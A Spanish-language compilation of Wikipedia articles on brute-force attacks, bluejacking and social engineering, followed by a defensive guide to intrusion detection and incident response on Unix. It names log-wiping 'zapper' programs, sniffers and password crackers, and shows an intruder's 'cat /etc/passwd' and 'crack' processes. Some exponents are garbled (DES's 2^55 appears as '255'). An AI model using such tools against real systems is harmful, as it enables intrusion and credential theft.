Você está na página 1de 30

Ataque de fuerza bruta

De Wikipedia

Saltar a navegación, búsqueda

En criptografía, se denomina ataque de fuerza bruta a la forma de recuperar una clave


probando todas las combinaciones posibles de caracteres hasta encontrar aquella que
permite el acceso.

También se define al procedimiento en el que a partir del conocimiento del algoritmo de


cifrado empleado y de un par texto plano/texto cifrado, probando el cifrado
(respectivamente, descifrado) de uno de los miembros del par con cada una de las
posibles combinaciones de clave, hasta obtener el otro miembro del par. El esfuerzo
requerido para que la búsqueda sea exitosa con probabilidad mejor que la par será 2n − 1
operaciones, donde n es la longitud de la clave (también conocido como el espacio de
claves).

Otro factor determinante en el coste de realizar un ataque de fuerza bruta es el juego de


caracteres que se pueden utilizar en la clave. Contraseñas que sólo utilicen dígitos
numéricos serán más fáciles de descifrar que aquellas que incluyen otros caracteres
como letras.

Los ataques por fuerza bruta, dado que utilizan el método de prueba y error, son muy
costosos en tiempo computacional.

Ejemplo 1: El algoritmo DES(Data Encryption Standard) utiliza claves de 56 bits de


longitud. Para quebrar por fuerza bruta un cifrado con DES se requerirán 255
operaciones.

Bluejacking
De Wikipedia

Saltar a navegación, búsqueda

En seguridad informática, el término bluejacking se refiere a una técnica consistente en


enviar mensajes no solicitados entre dispositivos Bluetooth, como por ejemplo teléfonos
móviles, PDAs o portátiles. La tecnología Bluetooth tiene un alcance limitado de unos
10 metros normalmente en dispositivos pequeños (como teléfonos móviles) aunque
otros aparatos más grandes (como portátiles) con transmisores más potentes pueden
alcanzar los 100 metros.

El nombre bluejacking proviene de un hombre llamado Jack. Jack estaba en un banco


buscando otros dispositivos Bluetooth. Encontró un Nokia 7650 y le envió un mensaje
que decía "Buy Ericsson" ("Cómprate un Ericcson"). Lo llamó bluejacking y así se
conoce desde entonces.
Hay quien piensa que el término bluejacking viene de Bluetooth y "hijacking". Aunque
suena lógico un bluejacker no intercepta nada: únicamente utiliza una característica en
su dispositivo, y en el del receptor. Ambas partes mantienen el control absoluto sobre su
dispositivo, y el bluejacker no puede hacer nada, ni siquiera ver la información personal
contenida.

Bluejacking es bastante inofensivo, pero como mucha gente no sabe qué ocurre piensan
que su teléfono móvil tiene un virus o necesita ser exorcizado. Normalmente un
bluejacker sólo enviará un mensaje de texto, aunque en los modelos de teléfonos más
recientes es posible enviar también imágenes y sonido.

Actualmente hay varios programas utilizados para esta practica, aunque el que más
utilizado es el mobiluck

Ingeniería social (seguridad informática)


De Wikipedia

Saltar a navegación, búsqueda


Para ver un concepto similar en una disciplina
diferente vea Ingeniería social (ciencias
políticas).

En el campo de la seguridad informática, ingeniería social es la práctica de obtener


información confidencial a través de la manipulación de usuarios legítimos. Un
ingeniero social usará comunmente el teléfono o Internet para engañar a la gente y
llevarla a revelar información sensible, o bien a violar las políticas de seguridad típicas.
Con este método, los ingenieros sociales aprovechan la tendencia natural de la gente a
confiar en su palabra, antes que aprovechar agujeros de seguridad en los sistemas
informáticos. Generalmente se está de acuerdo en que “los usuarios son el eslabón
débil” en seguridad; éste es el principio por el que se rige la ingeniería social.

Un ejemplo contemporáneo de un ataque de ingeniería social es el uso de archivos


adjuntos en e-mails que ejecutan código malicioso (por ejemplo, usar la máquina de la
víctima para enviar cantidades masivas de spam). Ahora, luego de que los primeros e-
mails maliciosos llevaron a los proveedores de software a deshabilitar la ejecución
automática de archivos adjuntos, los usuarios deben activar los archivos adjuntos de
forma explícita para que ocurra una acción maliciosa. Muchos usuarios, sin embargo,
cliquean ciegamente cualquier archivo adjunto recibido, concretando de esta forma el
ataque.

Quizá el ataque más simple que aún es efectivo sea engañar a un usuario llevándolo a
pensar que uno es un administrador del sistema y solicitando una contraseña para varios
propósitos. Los usuarios de sistemas de Internet frecuentemente reciben mensajes que
solicitan contraseñas o información de tarjeta de crédito, con el motivo de "crear una
cuenta", "reactivar una configuración", u otra operación benigna; a este tipo de ataques
se los llama phishing (pesca). Los usuarios de estos sistemas deberían ser advertidos
temprana y frecuentemente para que no divulguen contraseñas u otra información
sensible a personas que dicen ser administradores. En realidad, los administradores de
sistemas informáticos raramente (o nunca) necesitan saber la contraseña de los usuarios
para para llevar a cabo sus tareas. Sin embargo incluso este tipo ataque podría no ser
necesario — en una encuesta realizada por la empresa InfoSecurity, el 90% de los
empleados oficinistas reveló sus contraseñas a cambio de un bolígrafo barato.

Tal vez el ataque de ingeniería social a mayor escala de años recientes sea el que rodea
a Messenger Plus!; para recaudar dinero con el software, su autor, Patchou, incluyó un
adware de C2Media dentro del programa. Mientras que el acuerdo con el sponsor brinda
la opción de instalar Messenger PLus! sin el adware, la vasta mayoría de los usuarios
simplemente cliquean su aceptación del acuerdo, y por lo tanto instalan el adware
innecesariamente.

La ingeniería social también se aplica al acto de manipulación cara a cara para obtener
acceso a los sistemas computacionales.

Entrenar a los usuarios en el uso de políticas de seguridad y asegurarse de que son


seguidas es la principal defensa contra la ingeniería social.

Uno de los ingenieros sociales más famosos de los últimos tiempos es Kevin Mitnick.

[editar]

Referencias
• John Leyden, 18 de abril de 2003. Office
workers give away passwords for a cheap pen
(Oficinistas revelan contraseñas) (en inglés). The
Register.
• Kevin D. Mitnick, William L. Simon, Steve
Wozniak. The Art of Deception: Controlling the
Human Element of Security. John Wiley & Sons,
2002. ISBN 0471237124.
• SirRoss, 19 de enero, 2005. A Guide to
Social Engineering, Volume 1 A Guide to Social
Engineering, Volume 2. AstaLavista.

[editar]

Enlaces externos
• Social Engineering Fundamentals

Obtenido de "http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_
%28seguridad_inform%C3%A1tica%29"
Detección de intrusos

SISTEMAS DE DETECCIÓN DE INTRUSOS

Existen numerosas medidas de seguridad para proteger los recursos informáticos de una
empresa, pero aunque se sigan todas las recomendaciones de los expertos, no estaremos
libres de posibles ataques con éxito. Esto se debe a que conseguir un sistema
virtualmente invulnerable es sumamente costoso, además de que las medidas de control
reducirían la productividad de la empresa Dentro de las soluciones tecnológicas que en
la actualidad están disponibles para reforzar la seguridad de una red, los firewalls son
muy populares. Un firewall es un sistema encargado del cumplimiento de las políticas
de control de acceso a la red, lo cual se hace a través de reglas. Un firewall actúa como
guardia perimetral de una red: protege una red de ataques que provengan del exterior de
ésta. Pero el escenario se puede complicar de la siguiente forma: 1. Un atacante puede
lograr pasar el firewall, dejando la red a su merced. 2. Un firewall protege de los
accesos no autorizadas hacia la red interna, pero no protege a las máquinas ubicadas en
la red perimetral como servidores web, servidores de correo, servidores FTP, en otras
palabras, a las bases funcionales de Internet. 3. Un firewall no protege contra ataques
desde adentro.

En estos casos lo que nos queda detectar el ataque o la intrusión lo antes posible para
que cause el menor daño en el sistema. Antes de continuar vamos a definir qué se
entiende normalmente por intrusión. Normalmente un intruso intenta: " Acceder a una
determinada información. " Manipular cierta información. " Hacer que el sistema se no
funcione de forma segura o inutilizarlo.

Una intrusión es cualquier conjunto de acciones que puede comprometer la integridad,


confidencialidad o disponibilidad de una información o un recurso informático. Los
intrusos pueden utilizar debilidades y brechas en la arquitectura de los sistemas y el
conocimiento interno del sistema operativo para superar el proceso normal de
autenticación. La detección de intrusos se puede detectar a partir de la caracterización
anómala del comportamiento y del uso que hacen de los recursos del sistema. Este tipo
de detección pretende cuantificar el comportamiento normal de un usuario. Para una
correcta distinción hay que tener en cuenta las tres distintas posibilidades que existen en
un ataque, atendiendo a quién es el que lo lleva a cabo: " Penetración externa. Que se
define como la intrusión que se lleva a cabo a partir un usuario o un sistema de
computadores no autorizado desde otra red. " Penetraciones internas. Son aquellas que
llevan a cabo por usuarios internos que no están autorizados al acceso. " Abuso de
recursos. Se define como el abuso que un usuario lleva a cabo sobre unos datos o
recursos de un sistema al que está autorizado su acceso.

La idea central de este tipo de detección es el hecho de que la actividad intrusiva es un


subconjunto de las actividades anómalas. Esto puede parecer razonable por el hecho de
que si alguien consigue entrar de forma ilegal en el sistema, no actuará como un usuario
normal. Sin embargo en la mayoría de las ocasiones una actividad intrusiva resulta del
agregado de otras actividades individuales que por sí solas no constituyen un
comportamiento intrusivo de ningún tipo. Idealmente el conjunto de actividades
anómalas es el mismo del conjunto de actividades intrusivas, de todas formas esto no
siempre es así: 1. Intrusivas pero no anómalas. Se les denomina falsos negativos y en
este caso la actividad es intrusiva pero como no es anómala y no se consigue detectarla.
Se denominan falsos negativos porque el sistema erróneamente indica ausencia de
intrusión. 2. No intrusivas pero anómalas. Se denominan falsos positivos y en este caso
la actividad es no intrusiva, pero como es anómala el sistema decide que es intrusiva. Se
denominan falsos positivos, porque el sistema erróneamente indica la existencia de
intrusión. 3. Ni intrusiva ni anómala. Son negativos verdaderos, la actividad es no
intrusiva y se indica como tal. 4. Intrusiva y anómala. Se denominan positivos
verdaderos, la actividad es intrusiva y es detectada.

Los primeros no son deseables, porque dan una falsa sensación de seguridad del sistema
y el intruso en este caso puede operar libremente en el sistema. Los falsos positivos se
deben de minimizar, en caso contrario lo que puede pasar es que se ignoren los avisos
del sistema de seguridad, incluso cuando sean acertados. Los detectores de intrusiones
anómalas requieren mucho gasto computacional, porque se siguen normalmente varias
métricas para determinar cuánto se aleja el usuario de lo que se considera
comportamiento normal. Hoy día existen en el mercado una buena cantidad de
productos conocidos como SDI (Sistemas de Detección de Intrusos) o en inglés IDS
(Intrusión Detection System). Estos sistemas basan su funcionamiento en la recolección
y análisis de información de diferentes fuentes, que luego utilizan para determinar la
posible existencia de un ataque o penetración de intrusos. En caso de que exista la
suficiente certeza de la detección de un incidente, el SDI tiene como función principal
alertar al administrador o personal de seguridad, para que tome acciones al respecto.
Otras implementación más complejas son capaces de ir más allá de la notificación de un
posible ataque, es decir pueden ejecutar acciones automáticas que impidan el desarrollo
de éste.

Clasificación de los SDI Los SDI pueden clasificarse en base a varios aspectos: método
de detección, tipo de monitoreo y forma de recolección y análisis de la información.
Según el método de detección, los hay de detección de mal uso y detección de
anomalías. El modelo de detección de mal uso consiste en observar cualquier proceso
que intente explotar los puntos débiles de un sistema en específico. Las diferentes
acciones, que integran el mencionado proceso, comúnmente se denominan patrones o
firmas del ataque. Estas firmas pueden ser simples, como cadenas de caracteres,
estructuras de memoria o bits, pero también pueden ser más complejas como vectores ó
expresiones matemáticas. Una ventaja de este método es que permite centralizar las
labores de detección en el conjunto de firmas que posee el SDI, minimizando así, la
carga de procesamiento del sistema. Muchos productos comerciales utilizan este
enfoque e inclusive periódicamente proporcionan actualizaciones de éstas firmas. En
cambio, el modelo de detección de anomalías se basa en constantemente monitorear el
sistema para así detectar cualquier cambio en los patrones de utilización o el
comportamiento del mismo. Si algunos de los parámetros monitoreados sale de su
regularidad, el sistema generará una alarma que avisará al administrador de la red sobre
la detección de una anomalía. Este tipo de detección es bastante compleja, debido a que
la cuantificación de los parámetros a observar no es sencilla y a raíz de esto, se pueden
presentar los siguientes inconveniente: " Pueden generarse falsas alarmas si el ambiente
cambia repentinamente, por ejemplo, cambio en el horario de trabajo. " Un atacante
puede ir cambiando lentamente su comportamiento para así engañar al sistema.
Los inconvenientes antes mencionados pueden ser controlados mediante una
implementación robusta y minuciosa.

Según el tipo de monitoreo, hay SDI con detección orientada al host o detección
orientada a la red. El modelo orientado al host se basa en el monitoreo y análisis de
información, que refleja el estado del host donde éste reside. La mayoría de la
información que este tipo de sistema recopila es obtenida a través del sistema operativo
del host. Esto último causa complicaciones debido a que la información que se procesa
no contiene registros del comportamiento, de bajo nivel, de la red. Los SDI que utilizan
el modelo orientado a red, fundamentan su monitoreo en información recolectada de la
red. Generalmente, ésta información es capturada mediante mecanismos de "sniffing".
El "sniffing" consiste en habilitar la interfaz de red en modo promiscuo para que así
capture todos los paquetes que reciba, incluso aquellos que no le han sido destinados.
En base al mecanismo antes expuesto, se pueden definir patrones o firmas de ataques,
según la estructura, información y ocurrencia de los paquetes.

Características deseables de un SDI 1. Debe ejecutarse continuamente sin intervención o


supervisión de un operador humano. 2. Debe ser confiable, lo suficiente como para
ejecutarse en background, pero no debe ser una caja negra, es decir, que su
funcionamiento interno pueda ser examinado. 3. Debe ser capaz de tolerar fallas, en el
sentido de que pueda sobrevivir a una caída del sistema, sin tener que reconstruir su
base de datos de conocimientos al reiniciarse. 4. El sistema debe estar en capacidad de
automonitorearse para asegurar su correcto funcionamiento. 5. Debe ser ligero, es decir
su ejecución no debe cargar al sistema de una manera tal que le impida ejecutar otras
tareas con relativa normalidad 6. Debe observar desviaciones del comportamiento
estándar. 7. Debe poder adaptarse al comportamiento cambiante del sistema, es decir, si
la configuración del sistema cambia, el SDI se adaptará. 8. Debe ser difícil de engañar.

METODOLOGÍA PARA LA DETECCIÓN DE INTRUSOS

Y PARA LA SELECCIÓN E IMPLANTACIÓN DE SISTEMAS IDS

1. Introducción La labor de un administrador o de la persona encargada de la seguridad


de un sistema informático puede ser realmente frustrante. Sobre todo cuando el sistema
a sido invadido por un intruso o hacker. En principio, si se ha configurado
correctamente un servidor y se está al día en materia de seguridad, así como de fallas
(bugs) que van surgiendo, no habrá problemas de que un intruso entre en el sistema.
Realmente con un poco de esfuerzo se puede tener un servidor altamente seguro que
evitará alrededor del 85% de los intentos de acceso no autorizados alo sistema. Pero en
muchas ocasiones el peligro viene de los propios usuarios internos del sistema, los
cuales presentan un gran riesgo debido a que ya tiene acceso al sistema.

2. Pasos a seguir para detectar a un intruso Lo primero que debemos hacer es seguir una
serie de pasos los cuales nos ayudarén a descubrir si realmente ha entrado un intruso, ya
que en muchas ocasiones pensamos que ha entrado alguien, pero no es cierto. Por eso,
ante todo calma; esto es lo más importante para un buen administrador. Realmente en
muchas ocasiones es fácil detectar a un intruso en ambiente Unix, ya que suelen seguir
un patrón detectable, el cual podría ser el mostrado en la figura. Este esquema
representa básicamente los pasos que sigue de un intruso: Primero entra al sistema, y si
sólo tiene acceso como usuario, explotará alguna debilidad o falla del sistema para así
obtener ID 0 (o lo que es lo mismo, privilegios de root). En caso de entrar como root u
obtenerlo de alguna otra manera, se dedicará a controlar el sistema, dejando algún
mecanismo para volver cuando quiera. Seguramente copiará el archivo /etc/passwd y
el /etc/shadow (en caso de que el sistema use "shadow"), luego le dará rienda suelta a su
imaginación, como por ejemplo, instalar un sniffer, troyanos, leer mails ajenos, etc. Y
en caso de ser un pirata malicioso puede causar desastres en el sistema, como sería
modificar páginas web, borrar archivos o mails, producir un DoS (Denial of Service),
cambiar passwords de usuarios legítimos, etc.

Fig. 1

A continuación se exponen los diferentes pasos a seguir de acuerdo a los expertos en


seguridad como son el CERT, ISS, etc. Esto son los pasos a seguir del CERT
(http://www.cert.org): 1. Examinar los archivos log como el 'last' log, contabilidad,
syslog, y los C2 log buscando conexiones no usuales o cosas sospechosas en el sistema.
Aunque hay que tener especial cuidado en guiarnos por los logs, ya que muchos intrusos
utilizaran diversas herramientas para borrar sus huellas. 2. Buscar por el sistema
archivos ocultos o no usuales (archivos que empiezan por un '.' (punto), no salen con un
simple 'ls'), ya que pueden ser usado para esconder herramientas para violar la seguridad
del sistema, por ejemplo un crackeador o incluso contener el /etc/passwd del sistema o
de otros sistemas al cual ha entrado nuestro intruso. Muchos piratas suelen crear
directorios ocultos utilizando nombres como '...' (punto-punto-punto), '..' (punto-punto),
'..^g' (punto-punto control+G). En algunos casos un pirata ha utilizado nombres como
'.x' o '.hacker' o incluso '.mail'. 3. Buscar archivos SET-UID por el sistema. Ya que en
muchas ocasiones los piratas suelen copiar y dejar escondido copias del /bin/sh para
obtener root. Podemos utilizar la orden 'find' para buscar este tipo de archivos por el
sistema (la orden 'find' puede ser sustituido por un troyano para esconder archivos del
pirata, por lo que no es totalmente confiable), para ello ejecutamos la siguiente línea:

1. find / -user root -perm -4000 -print

4. Revisar los archivos binarios del sistema para comprobar que no han sido sustituidos
por un troyano, como por ejemplo los programas 'su', 'login', 'telnet' y otros programas
vitales del sistema. (Existen varias herramientas conocidas como 'RootKit' que permite
a un pirata cambiar los binarios del sistema por troyanos que son copias exactas de los
originales). Lo recomendado es comparar con las copias de seguridad aunque puede que
las copias de seguridad también hayan sido sustituidas por un troyano. 5. Examinar
todos los archivos que son ejecutados por 'cron' y 'at'. Ya que algunos piratas depositan
puertas traseras que le permiten volver al sistema aunque los hayamos echado del
sistema. Asegurarse que todos los archivos son nuestros y no tienen permiso de
escritura. 6. Examinar el archivo /etc/inetd.conf en busca de cambios, en especial
aquellas entradas que ejecuten un shell (por ejemplo: /bin/sh o /bin/csh) y comprobar
que todos los programas son legítimos del sistema y no troyanos. 7. Examinar los
archivos del sistema y de configuración en busca de alteraciones. En particular, buscar
entradas con el signo '+' o 'host names' no apropiados en archivos como /etc/hosts.equiv,
/etc/hosts.lpd y en todos los archivos .rhost del sistema, con especial interés los de 'root',
'uucp', 'ftp' y otras cuentas del sistema. Estos archivos no deberían tener atributo de
escritura. 8. Examinar cuidadosamente todos los computadores de nuestra red local en
busca de indicios que nuestra red ha sido comprometida. En particular, aquellos
sistemas que compartan NIS+ o NFS, o aquellos sistemas listados en el /etc/hosts.equiv.
Logícamente también revisar los sistemas informéticos que los usuarios comparten
mediante el acceso del .rhost. 9. Examinar el archivo /etc/passwd, en busca de
alteraciones en las cuentas de los usuarios o la creación de cuentas nuevas,
especialmente aquellas cuentas con ID 0, las que no tienen password, etc.

Estos nueve puntos son los pasos a seguir recomendados por el CERT, los cuales están
muy bien, pero se quedan un poco cortos de soluciones prácticas para el administrador.
Para ello nos vamos a basar en un excelente trabajo de un grupo de Hackers conocidos
como Technotronic (http://www.technotronic.com), los cuales se basan en el mismo
documento pero explicando los métodos de los piratas y como combatirlos. Se trata de
lo siguiente:

Los archivos Log: " messages: Este archivo contiene bastante información, por lo que
debemos buscar sucesos poco usuales. " xferlog: Si el sistema comprometido tiene
servicio FTP, este archivo contiene la bitácora de todos los procesos del FTP. Podemos
examinar qué tipo de herramientas ha subido el pirata y qué archivos ha bajado de
nuestro servidor. " utmp: Este archivo contiene información en binario de todos los
usuarios conectados al sistema en el momento. Por lo que puede ser muy útil para
determinar quién esta conectado al sistema en este momento. Para ello ejecutaremos la
orden 'who' o 'w'. " wtmp: Cada vez que un usuario entra al servidor y sale del mismo,
la máquina modifica este archivo. Al igual que el anterior, este archivo está en binario,
por lo que tendremos que usar alguna herramienta especial para ver el contenido de este
archivo. El mismo contiene la información en formato: usuario, hora de conexión, e IP
origen del usuario, por lo que podemos averiguar de dónde provino el pirata. Pero
aunque contemos con esta información, puede que haya sido falseada por el pirata
utilizando alguna técnica para ocultar su IP original o haya borrado su entrada. " secure:
Algunos sistemas Unix loggean mensajes en archivo secure, ya que utilizan algún
software de seguridad para ello, como el TCP Wrapper.

Muchos piratas intentaran borrar sus huellas utilizando unos programas conocidos como
'Zapper's' o 'Zap'. Los más populares, debido a que están ampliamente disponibles por
Internet, son los siguientes: " marry.c " zap.c " zap2.c " remove.c " cloak.c

Por supuesto contamos con mecanismos para detectar este tipo de programas, lo cual se
explica en la sección de herramientas. Debemos buscar cuidadosamente archivos
SETUID o SETGID (especialmente aquellos archivos SETUID de root). Para ello
podemos utilizar, otra vez, la orden 'find' y escribimos lo siguiente:

1. find / -group kmen -perm -2000 -print

1. find / -user root -perm -4000 -print -xdev

incluso
1. ncheck -s /dev/rsd0g

Esta última orden 'ncheck' nos permitirá buscar archivos SETUID por las particiones.

Debemos buscar troyanos en nuestros archivos binarios, ya que suele ser una de las
tareas principales de un pirata cuando ha comprometido la seguridad de un servidor.
Una lista no exhaustiva de posibles binarios que un pirata puede sustituir, es la
siguiente: login " su " telnet " netstat " ifconfig " ls " find " du " df " libc " sync

Así como los binarios listados en /etc/inetd.conf.

Al igual que antes, tenemos varias utilidades ampliamente disponibles para detectar
estos troyanos, pero por otro lado, los piratas también tienen ampliamente disponible
estos paquetes de troyanos, conocidos como 'RootKit', como ya mencionamos antes.
Otras de las principales tareas de un pirata consiste en la utilización de sniffers, para
capturar información confidencial. Los más usados son los siguientes: " linsniff666.c "
esniff.c " solsniff.c " sunsniff.c " sniffit

Ahora nos enfocaremos en la parte de los passwords. Un pirata intentará por todos los
medios obtener el archivo de passwords, para luego usar un programa especial que le
permitirá averiguar los passwords de los usuarios. Los principales 'crackeadores' son: "
Crack " John The Ripper 1.5 " Cracker Jack " Hades

Ya hemos visto diferentes técnicas que emplearan los piratas contra nuestro sistema, por
lo que ahora estamos mejor preparados para enfrentarnos a ellos. A continuación nos
enfocaremos de forma más practica a los diferentes pasos a seguir cuando hemos
detectado un pirata. Si hemos pillado al intruso en el momento, tenemos varias
opciones:

A) Hablar con él, usando la orden 'talk', aunque debemos tener en cuenta que puede
contestar de forma amistosa (ayudandonos en relación a la seguridad del sistema) o
agresiva (borrando el sistema para no dejar rastro).

B) Desconectarle del sistema, usando la orden 'kill', pero para evitarnos que vuelva a
entrar, antes de usar 'kill', usaremos la orden 'passwd' para cambiar el password de la
cuenta por el cual el pirata entró. Por ejemplo, podemos ejecutar las siguientes órdenes:

1. ps -aux

USER PID %CPU %MEN VSIZE RSIZE TT STAT TIME COMMAND ROOT 1434
20.1 1.4 968K 224K 01 R 0:00 ps aux intruso 147 1.1 1.9 1.02K 304k p3 S 0:07 ~ (csh)
intruso 321 10.0 8.7 104k 104k P3 S 0:09 cat /etc/passwd intruso 339 8.0 3.7 2.05K
456k P3 S 0:09 crack

1. passwd intruso

Changing password for intruso New password: noentrasmas Retype new password:
noentrasmas

1. kill -9 147 321 339


C) Utilizar las utilidades del sistema para recopilar información sobre el pirata, la cual
será necesaria en caso de denuncia. Por lo que trataremos de 'tracearle', usando las
siguientes órdenes: " who " w " last " lastcomm " netstat " snmpnetstat " Obtener
información del router. " Examinar el archivo /var/adm/messages. " Examinar el syslog.
" Examinar los log del wrapper. " Ejecutar la orden 'finger' en todos los usuarios locales,
para comprobar cuando fue la última vez que estuvieron en el sistema. " Examinar los
archivos history del shell, como el .history, .rchist y archivos similares.

D) Ejecutando la orden 'finger', intentaremos sacar información del host de donde


provino el ataque, como por ejemplo:

1. finger @intruso.es

1. finger intruso@intruso.es

Si tenemos suerte podremos obtener la información.

E) También podemos dirigirnos a Internic (http://www. internic.net) donde podemos


pedir información sobre cualquier servidor en el mundo, siempre y cuando no sea
militar. Allí ponemos el dominio del servidor de donde provino el ataque, y podremos
ver con quién debemos ponernos en contacto con el servidor atacante. Si existe un
télefono de contacto, lo mejor sería llamar a la persona encargada, ya que si enviamos
un e-mail informándole que tiene un pirata, puede que el pirata intercepte el mensaje y
se haga pasar por el administrador. En caso de vernos forzados a escribir un e-mail,
poner cualquier pretexto para tener que hablar por teléfono con el administrador del
servidor atacante, y si es necesario ofrecernos a pagar la llamada nosotros mismos, en
calidad de buenas intenciones. A parte del website de Internic, también podemos
conectar vía telnet para solicitar información de un servidor.

F) Ahora que tenemos bastante información del atacante, lo mejor sería desconectar
nuestro servidor de Internet y dedicarnos unos días a repasar cuidadosamente lo
sucedido. Además, si nadie accede al servidor durante unos días, podremos trabajar
mejor y más rápido.

G) Tendremos que hacer una copia de seguridad, por lo que ejecutaremos la siguiente
orden:

1. dd if=/dev/sda of=/dev/sdb

En caso de duda de cómo usar la orden 'dd', lo mejor sería recurrir a la orden 'man'.

H) Tener a mano un block de notas y un lápiz, para escribir todo lo que nos parezca
importante, así como todos los pasos que estamos realizando en el sistema
comprometido.

I) Ahora sólo nos queda realizar un exhaustivo análisis mediante los pasos
anteriormente descritos.
Ya a estas alturas conocemos los peligros y pasos a seguir para recuperar el control en
nuestro sistema, así cómo echar al pirata. Ahora se muestra un lista más generalizada de
los puntos que hay que mirar con detalle. " Creación de cuentas nuevas o alteración de
algunas existentes. " Excesivo consumo de memoria o disco duro. " Directorios o
archivos sospechosos. " Alteración en la configuración del sistema. " Procesos
sospechosos. " Conexiones de servidores poco usuales. " Reconfiguración de los
módems. " Serie de repeticiones de conexión al mismo puerto. " Conexión de usuarios
en horas o días poco usuales.

3. Diversas utilidades para la tarea Ahora nos dedicaremos a explicar las diferentes
herramientas que están disponibles en el cyberespacio. Lo mejor es que casi todas son
'freeware' (gratis), por lo que no existe excusa alguna para no usarlas. Además usando
habitualmente estas herramientas, mantendremos nuestro sistema seguro demostrando
lo bueno que somos administrando el servidor. Las herramientas que se describen a lo
largo de este apartado son anti-zapper's, detectores de sniffers, detectores de troyanos,
así como diversas herramientas de análisis, e incluso algunas herramientas que también
utilizan los piratas, para nuestro propio beneficio. Debido a la gran cantidad de
herramientas disponibles (no he puesto todas las que existen, debido a que es
imposible), no se ha incluido la utilización de las mismas, ya que este documento sería
muy largo, por lo que se incluye la dirección en Internet donde encontrarlas y así poder
familiarizarse con esas herramientas.

A) Detectores de Sniffers. " Podemos usar la orden 'netstat', pero no es 100% confiable.
" promisc.c: Es un programa escrito en lenguaje C, el cual nos ayuda a detectar un
sniffer en nuestra red. (promisc.c). " cpm
(ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/cpm.1.2.tar.gz). " ifstatus
(ftp://coast.cs.purdue.edu/pub/tools/unix/ifstatus/ifstatus.tar.Z). " NePED: Es un
detector de sniffers. (ftp://apostols.org/ AposTools/snapshots/neped/).

Muchos sniffers logean las conexiones de la misma forma, la cual es la siguiente:

-- TCP/IP LOG -- TM: Tue Nov 15 15:12:29 -- PATH: not_at_risk.domain.com(1567)


=> at_risk.domain.com(telnet)

por lo que fácilmente podemos escribir un pequeño shell script que busque archivos de
sniffers:

% grep PATH: $sniffer_log_file | awk '{print $4}' | \ awk -F\( '{print $1}'| sort -u

Lógicamente debemos ajustar este script a nuestras necesidades.

B) Detectores de troyanos. " Podemos usar la orden 'sum' pero tampoco es 100%
confiable. " También podemos usar la orden 'cmp', pero lo mismo que la orden anterior.
" El popular, y más aconsejable de usar, es el programa de verificación MD5. " Otro,
también bastante utilizado, es Tripwire. (Tripwire).

C) Detectores de zapper's. " Antizap.c " Antizap2.c

D) Herramientas de análisis. " Satan111: Posiblemente la herramienta más conocida.


(SATAN). Extensiones. (SATAN Extensions). " TCP_Wrapper: Es un conjunto de
utilidades para controlar nuestro servidor. (tcp_wrappers_7.6.tar.gz). " Netcat 1.10: Para
saber por dónde nos puede entrar un pirata, ya que este programa es capaz de crear
cualquier tipo de conexión. (netcat 1.10 for Unix). " COPS: Otro conjunto de
herramientas de muy buena calidad. (ftp://info.cert.org/pub/tools/cops). " Roses
Software Check Tool V.1.2.2: Interesante herramienta de anaálisis para servidores
Linux. (http://web.jet.es/~simon_roses/). " Rhino9 Security Check Tool: Interesante
programa. (http://rhino9.technotronic.com). " Stalker Audit-Trail Tool: Interesante
herramienta para auditar los log's. (http://www.haystack.com). " IDES/NIDES
(Intrusion-Detection Expert System/Next-Generation IDES): Una herramienta de
detección de piratas en tiempo real. (http://www.sri.com). " WatchDog: Herramienta
para auditar los log's para SunOS. (http://www.infstream.com). " Saint (Security
Analisys INtegration Tool): Herramienta en español para auditar.
(http://www.super.unam.mx). " Asax (Advanced Security Audit Trail Analysis on
Unix): Programa en francés. (http://www.info.fundp.ac.be/~cri/DOCS/asax.html). " Aid
(Adaptive Intrusion Detection System): Herramienta en alemán. "
(http://www.rnks.informatik.tucottbus.de/~sobirey/aid.e.html). " NetSuite Professional
Audit: Herramienta profesional para auditar. (http://www.netsuite.com/Pi/audit.htm). "
Audit Trails: Lo mismo que el anterior. (http://promatrix.com/audit.htm). " ISS
SafeSuite: Potente herramienta de análisis. (http://www.iss.net). " Proyecto Nessus: Una
recomendable herramienta de auditoría. (The Nessus Project). " Firewalk: Interesante t
´´ecnica para analizar una red. (Enterprise Security Services, Inc.). " Lsof (List Open
Files): Programa que lista todos los archivos abiertos, incluidos los sockets abiertos.
(ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/). " tcplist: Lista todos los puertos abiertos
que tenemos, además de suministrar diversa información más.
(ftp://ftp.cdf.toronto.edu/pub/tcplist).

E) Crakeadores de passwords. " Crack V5: Posiblemente el crakeador más conocido.


(Crack v5 (Source)). " John The Ripper: Un excelente crakeador. (John the Ripper 1.5
linux).

4. Bibliografía

Escamilla, Terry. Intrusion Detection: Network Security Beyond the Firewall. John
Wiley & Sons, Inc. 1998.

Klander, Lars. Hacker Proof, The Ultimate Guide to Network Security. Jamsa Press.
1997.

Spafford, Gene; Garfinkel, Simson. Practical Unix & Internet Security, 2nd Edition.
0'Reilly & Associates, Inc. 1996.

Sys Admin. Unix Security, Essential Reference Series. R&D Books. 1997.

esCERT-UPC FAQ. (http://escert.upc.es).

Technotronic. (http://www.technotronic.com).

Computer-security/compromise FAQ 2.0. (http://www.iss.net).


Sniffer FAQ 3.0. (http://www.iss.net).

Rhino9. (http://rhino9.technotronic.com).

Simon Roses. (http://web.jet.es/~simon_roses/).

Mounji. PhD Thesis. Computer Science Institute, University of Namur, Belgium, Sept
1997. (Languages and Tools for Rule-Based Distributed Intrusion Detection).

A. Mounji, B. Le Charlier. In Proceedings of the ISOC' 97 Symposium on Network and


Distributed System Security. San Diego, California, 1997. (Continuous Assessment of a
Unix Configuration: Integrating Intrusion Detection and Configuration Analysis).

A. Mounji, B. Le Charlier. In Proceedings of the Eight Benelux Workshop on Logic


Programming. September, 1996. Louvain-La-Neuve, Belgium. (Detecting Breaches in
Computer Security: A Pragmatic System with a Logic Programming Flavor).

B. Le Charlier, A. Mounji, M. Swimmer. In Proceedings of Fifth International Virus


Bulletin Conference. Boston, Septembre 20-22, 1995. (Dynamic Detection and
Classification of Computer Viruses Using General Behaviour Patterns).

A. Mounji, B. Le Charlier, D. Zampuniéris, N. Habra. In Proceedings of the ISOC '95


Symposium on Network and Distributed Systems Security. San Diego, California,
February 1995. (Distributed Audit Trail Analysis).

A. Mounji, B. Le Charlier, D. Zampuniéris, N. Habra. Research Report, May 1994, 36


pages. (Preliminary Report on Distributed ASAX).

N. Habra, B. Le Charlier, A. Mounji. Research Report, March 1993, 62 pages.


